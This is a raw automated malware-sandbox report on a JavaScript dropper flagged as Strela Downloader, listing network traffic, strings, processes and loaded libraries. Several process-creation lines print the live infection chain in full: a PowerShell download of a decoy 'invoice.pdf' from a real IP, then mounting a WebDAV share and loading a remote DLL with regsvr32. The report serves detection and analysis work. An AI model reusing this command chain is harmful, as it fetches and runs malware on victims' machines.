Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1430264434.000001E9DB147000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1492263685.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1497936411.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1492263685.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000007.00000002.1497936411.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1492263685.0000017DEEF02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/X
Source: net.exe, 00000007.00000002.1495205646.0000017DEEED0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c:$
Source: net.exe, 00000007.00000002.1495205646.0000017DEEED0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tm
Source: svchost.exe, 00000009.00000002.2720111275.00000232DBA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1495747001.00000232DB890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7488, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2801910740378426994.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5fi1ibna.tov.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2801910740378426994.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1624,i,2315760363782123974,5897702423457590765,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1624,i,2315760363782123974,5897702423457590765,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
